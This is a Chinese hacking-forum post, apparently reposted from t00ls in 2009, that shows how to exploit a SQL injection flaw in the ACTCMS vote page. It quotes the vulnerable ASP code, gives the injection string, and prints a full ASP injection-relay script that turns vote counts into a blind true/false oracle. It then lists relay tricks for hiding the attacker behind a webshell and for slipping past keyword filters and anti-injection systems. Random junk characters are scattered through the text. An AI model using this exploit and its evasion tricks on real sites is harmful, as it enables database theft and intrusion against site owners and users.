6 U- q q8 J# e( N8 W5 t( z看到ninty大牛的blog的一篇文章
2 o& k8 H+ A6 m$ E链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
' e# `4 e! c" U" J: h关于actcms漏洞的利用 by 3x qq:381862589
8 o7 H" R9 K0 M/ r2 f转载请注明以上0 W- V6 T. q! g9 w) z
漏洞文件:
! n: @7 g7 W5 e/plus/vote/vote.asp a- a8 b2 W+ ]9 f3 P2 p4 S( r# z
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then ' f5 u0 o0 _: K" o% ~' c
$ v, H) a: a9 p; \, i, H
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" . m+ V& n" A# n0 {+ Q& \& O
" |- f/ r& Q5 A/ N* C, q
3 response.end & @% \" j$ X2 A! h: R6 W! @% b! u
8 D6 X' Z4 d+ j3 Y4 end if
* O+ ?. r" M3 @- {5 ~
& C/ f( F7 S& I$ u* z5 for i=1 to request("voted").count
, \$ O! l2 F2 k6 v, m1 r) f" X6 t: b9 z' m6 q- D
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
+ A, e0 L5 F6 r" s! q2 q; I. }. b8 H: E
7 next
: W) ~4 e2 {8 O: G, S- l# ` y5 y- x$ g! p' Q4 p7 ?5 @
8....
3 M: |3 C; i9 E( \) g5 M# y E$ i+ r* I; d, ?7 k2 W& I; n
9response.Redirect "index.asp?id="&id&"" - p4 g, v* J/ a. s; G. `
投票结束回跳转回index.asp这个投票结果页面# S5 t' B; v' X( _
如果投票成功票数加1
K1 j' g9 ~- p1 p1 L 失败票数不变
- H- Z9 c' W- |- N如图:7 o& G0 n7 e% u" |
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! i* J8 L$ o- V7 |; s8 t1 q. m% \
+ k6 } ~( D+ L/ [% S7 [0 p2009-12-27 13:20
+ E3 T. L' ~) V; b4 H8 I0 C
2 o. O! y! ~$ y/ e4 ~% I利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
0 h7 ]9 P9 c: f( S& j# r* e- L4 h- s& J& A, z
本帖隐藏的内容需要回复才可以浏览
( R2 k4 w3 B5 s; v8 T1 _( P' ]我们用注入中转来实现这个注入具体代码如下:
. R: _! q& t$ X; A9 ^2 e* Q! d先用寂寞的刺猬大牛的注入中转生成jmget.asp- F2 o& r* j7 }3 W: X- f
注入地址:http://localhost/actcms/plus/vote/vote.asp
) y/ O( s K* G1 I6 F注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
: B) v* ]# t p& L7 x [) C3 x
n {% O2 L( Q- Q* @# P然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
" F7 a& b8 h8 S" y$ B# a7 M% `( V! N7 l! z5 ^9 O' f
02JmdcwName=request("jmdcw")
8 i5 k" z8 |) m" b0 v- L# _4 u; X0 t( k4 v: @+ e0 [6 U
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 2 s) {" g% ?7 }0 T& \
% k# e% g. u a
04JmStr="id=1&voted=-1 or 1="&JmdcwName 8 F( x( Z2 [2 H- I; Z! k' n
* @# }: r, F3 \6 _% T05JmStr=URLEncoding(JmStr) 7 U+ N+ l/ M- _- M+ p4 E3 l2 \
6 w, H7 J, ^& \
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"( W. z0 F2 y0 o! F
Y6 T/ ^1 D: z07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ [6 o5 R. o, f. z- R2 z8 U I/ C% k6 M4 u! ]
08testurl=testurl & "?" & JmStr + T! V# |( y) {7 d; `
- F4 E; E1 X) G E. @, N09JMUrl=JMUrl & "?" & JmStr 6 D9 }! m$ ?2 D6 o/ t8 a
% K0 {+ N3 {; {. N9 P10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". S) z3 B, h9 x, f3 `2 |5 L
# x8 r# h! x$ Z: ~/ S11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"' g- N# n$ _" L% C+ r" g- @' L: o
: o2 u/ V# G! D' P- ?
12JmCok=replace(JmCok,chr(32),"%20")
5 G/ a* A: c3 l" X. w9 B7 I1 Q2 A7 x% R8 r) E
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
5 X4 j1 s5 M1 n
" h& i& U# E3 t- I14
7 @$ z$ I9 q6 O/ s- d1 i) U8 N, D6 y7 X/ x2 z* T5 L0 r# P0 } T
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, B( Q) U$ K$ J* Z- |0 R" B$ H7 Y7 Y4 j; f" o% X
16 7 \% i3 w2 V$ e+ S
+ @/ D H6 s7 b% z1 ]9 a2 C17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. \8 p- j) Z' l ]3 B6 w- F8 D. V8 z* O. |
18response.write test1&""&test2&""
+ E& F* {* x/ i1 g0 m/ A# r; k; v% x; {
19
) U* Z$ `, P1 ~! I1 e8 V; D5 h" E; b* b4 \
20if test1=test2 then '如前后记录相等,表示失败
$ |# C; l: k1 `5 x# h) X' M: ?; @2 G) \. B
21 response.write "failed"
. Y2 u+ y# y' [4 y* j( C! H, w, m, ~' {) \$ M" S
22else
2 F5 t* K+ R' v( G( ]% Y2 S$ A; Q* s1 i; S* h5 X; D5 i6 L9 Y
23 response.write "succeed"
: h! B& r4 r& L+ J9 D$ w5 i* {. }- ?/ r N# k: ?6 X/ \/ W
24end if
- d9 V6 R" m6 z9 A8 _0 b% x6 A
" w/ m' m. C9 N25 7 j( Z1 o5 o" P' t# g) D6 I5 U
3 A* v" S) J3 W( {" u( }26response.write "by 3x". g5 v) n1 n' `( N _0 t$ ]
- [9 h' u. r2 e: Q9 D1 R27 ' n1 O$ S5 [& `& y: z5 a2 H$ w+ W
7 Y! G' q7 e9 M3 H* R28
3 i3 D" k; y/ M' Q6 u+ I) M2 E$ X1 L& F2 v; p! Q, U) Y; M8 w" Q: j% u
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
i; `( b! I5 }+ J& h( o( u' q. s! M X' s/ P% `' @# F
30Dim Http 6 m! W$ ?7 C- }, h
( r& P; M* \" O$ w0 q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") + m# }: V+ w0 Z1 s1 G- W2 G; n
: |& F3 \6 `3 e( Y9 h! s: E" M- ^
32With Http
$ s |1 Y" e. L# r) x) [! C5 ?
+ D. A$ q% k0 i33
' D. n0 U7 ?' _1 ^5 ?3 [( x
$ \# q+ |0 a9 `# V34.Open "GET",PostUrl,False6 u4 r3 y4 r- D" Z2 x( y
2 w& N2 Z& {$ c6 N6 y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"9 r% K$ P: N; m: m. F
- U$ o9 A1 M, X3 ~9 [, Q3 q
36.SetRequestHeader "Referer",PostRef
y, _" M2 R( b& y# T3 V: }3 e' S0 m/ Z% }1 N( @3 H I2 o: a
37.SetRequestHeader "Cookie",PostCok 9 ?- y3 @. I/ R( ^
) o# W, D ]1 v1 K- I5 V38.Send ()
1 h2 u! i0 s' j1 L0 h+ C. M: |6 b1 J/ H! M
39PostData = .ResponseBody 6 f8 b& u+ Y% o7 ?
" `9 V& i/ J0 G" q
40End With
# {- {( F+ y1 r1 U) ~& d l6 Y# ]+ @
6 `3 ?7 j; r9 g7 q6 I41Set Http = Nothing
+ V) B- B9 E/ G% q$ P5 ?
' `+ x G Q/ G5 c( p# W42PostData =bytes2BSTR(PostData) . d. `% `/ [0 k( Y9 C! u4 S
) ^; y4 o" p0 M+ X+ F
43End Function
' i* s( l+ A" f) O
! h+ L% C- l2 \0 Z44
# J6 l3 F6 c: I' x' q
7 K7 u+ F( i$ D/ v5 o45 * p6 T! @9 x6 z
7 `# n* q+ m/ R3 O46Function bytes2BSTR(vIn)
' Q8 a5 p+ G# Z2 a; r2 s& @% E" l- D* d1 ?
47Dim strReturn ' A. T' x1 K4 p: U% f8 Q
0 T! K7 d: h+ o
48Dim I, ThisCharCode, NextCharCode 1 V& z4 _. ?! y( u
9 q; c, @9 g- d# Q2 w9 n! o3 n
49strReturn = "", W9 S0 r0 K1 N" ^) D
3 \, c) T- B- y8 U50For I = 1 To LenB(vIn)
' ^$ {" ~ \7 m$ |% ?- I! X
9 k, U1 k9 M2 ?: u6 P/ v, R51ThisCharCode = AscB(MidB(vIn, I, 1)) , x1 _6 @- M H* a
) O& s' G/ M. [. E7 s
52If ThisCharCode < &H80 Then G0 ]* w* w% X- d6 W8 O) T
5 j1 g8 }% Y( z9 i8 ~
53strReturn = strReturn & Chr(ThisCharCode) 3 u4 N1 u6 m* N* s; a% P
- `- `" c8 D5 p' w4 M8 K3 s. P- v
54Else7 B0 i0 |! o' a }* Z5 |7 }# W
9 K& w0 ?: n; d" Z( s
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ C1 c" z3 `4 y. N7 `' m# g j
. p2 ?: [! B1 |56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) : k! z( P2 P) q, K# Y/ t/ I
" j6 y' @4 ^% p6 C0 `. r; v1 E57I = I + 1 , L2 j/ }! r' h: F7 C" N
3 g8 M' B& O+ B9 J; p58End If
. U1 t& N& m: m5 G1 j
8 B2 _, M3 O3 T59Next+ l* @1 f8 @4 W
' p4 r' P0 o- K7 P E# [# m; N
60bytes2BSTR = strReturn ! d& W& i4 @/ N3 I1 W
/ \# U# q4 B' ?
61End Function9 d# ~; w$ l- X0 ]3 Y. _
9 a& e6 f0 B; }- A
62 1 P; K+ Z( }- w9 m
6 s' e* ]5 I4 k/ n63Function URLEncoding(vstrin)
) c3 }# k/ A$ F& M
: Y, x0 A* |2 `8 O( Z& y7 L1 p64strReturn=""& E" c0 b x6 q0 N# `: f3 S
S) I9 b: m! \' Y8 I65Dim i . M2 `; `9 H' ~
; o: _* J2 J% d- @' G66For i=1 To Len(vstrin)
, g! y. ]7 l1 ^) l, N: h+ Q2 R3 A" i1 b8 T+ v5 I: @& M
67ThisChr=Mid(vstrin,i,1)
3 d9 |' x+ ^6 n5 y2 p/ `/ d, Q- x5 ]
. q5 G+ I! y/ E) i1 H k+ u68if Abs(Asc(ThisChr))< &HFF Then" y: N& X: }+ y5 Y) e9 f1 `
" T5 E% g& y0 c% @ K8 x
69strReturn=strReturn & ThisChr 4 A* L! o" C# o9 {
9 j# ?2 W# |+ G5 A70Else6 A& e' o7 I1 ]* G' l6 l
* Y) }% D- Y2 k; u! N4 U
71InnerCode=Asc(ThisChr)
! e: |9 c8 K3 b2 x4 q, i* T
3 m# w6 E! V# P$ g72If InnerCode<0 Then6 z( d( m6 b3 N1 ~1 `# {
" v0 U; G, M% @9 i& {2 I
73InnerCode=InnerCode + &H10000 . x w) F2 f8 n' \; f8 `$ e: z
2 J/ }. E6 j3 g, q. `; T4 n( X
74End If, g! {6 b$ a* ]3 g* h- E
; w& w5 b2 y4 L8 E' d75Hight1=(InnerCode And &HFF00) \&HFF 8 t/ q$ \8 \4 f! b8 N
* d, a8 R6 w$ Q76Low1=InnerCode And &HFF
R6 E0 a7 n# o/ f( m! B o
" k" U% t# |0 h! x4 O# j( o* a77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
2 J( @/ H% T* A) T a
7 t: r. h6 [+ }( Y$ K$ d78End if
/ P* {5 B# U! K7 [1 J% V) d1 J+ O* Y! Q" T4 p8 n) G" F. E
79Next. G5 `2 X/ x% @' l2 }8 k/ B$ f. ^! q
. a. X$ B; k/ \; k80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 8 G. d1 x# o+ N$ A" j% g
- C o; f4 L7 A6 K( k
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
- U- A+ i( M5 t5 z+ t t
' G8 V2 i' z2 g( K82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
0 y" r4 T1 ^7 x! F9 c# \7 F7 v Q b8 |( T8 h1 [7 b
83URLEncoding=strReturn
0 ]& b1 J2 q$ Q+ a! X4 b3 ?% W( ~0 E5 z
84End Function
) K' L3 d& \5 H# [% I* [1 d7 @* C( u0 G l
85 1 t! t: O) v0 u. l
5 y; a- _' L& s3 }" a( m1 H86function getSt(body)
+ @" V! P3 v5 }9 X$ }9 Q+ [9 |, i" m9 r$ e
87 startpot=instr(body,"投票人数:")+len("投票人数:") 8 A5 n3 \1 _% I% @ {0 v. a
; r; z' F d. M/ m- R7 E8 l9 Z88 endpot=instr(startpot,body," ")
1 Y2 v) b" v; K+ S) U2 J( t2 ?1 }* R7 e" A! L+ f" [0 u
89 getSt=mid(body,startpot,endpot-startpot) # \# I Z0 k. r0 ], A2 T
/ k: ~- p' c4 N9 I0 j90end function
3 I/ U# j0 B( u
* u* Y" C% }; s1 o91%>, W& Z3 C: z" ~2 n, h, P* t
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了- q* Q; ] b0 D6 z2 j" a
测试下效果:. }- }; N ]) L- O; w1 Q
投票成功:) n) A* x, z1 F( D4 I
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
; H# D1 d. o1 r1 v. p7 b, p" m# y3 U
2009-12-27 13:29
: p$ C* C3 F1 W u5 K1 H5 _) A投票失败. R6 K0 L& o! d* e
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
* }# J+ p! L' t% M; y9 V7 r; u0 `( _! Z" q
2009-12-27 13:29
6 V2 d! R4 u9 U. A$ l8 @* U8 M-------------------------------------------------------------------------------
& q( I3 t8 l4 r. [% `0 e' U1 {再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
& W8 u! N1 V c. R9 `: E很抱歉。。。只能用单线程工具去注入。。。。。, W' [ a7 N# _2 o9 q
所以失败。。。不好意思。。。
# m0 z% n2 B" H! z. Y-------------------------------------------------------------------------------( J- E2 f0 d+ |
* B. @5 \3 z2 G/ [/ t9 d- R
注入中转的一些其他应用, e+ x& H/ c3 P8 O5 a
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了9 v& s0 T+ H$ k# l' r, L k
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id* d2 v/ |& K( ?5 `2 q8 Q2 l6 y. p
2.post注入转成get型的注入,方便我们使用工具来跑
9 G; o6 o+ s2 L+ k8 { Z3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
/ l1 M+ Y- _$ S$ b, Y- M) b+ W5 f4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
9 D7 U5 Y3 [' S- ?
5 v: J! {& O" f5 o Y7 U( o6 I |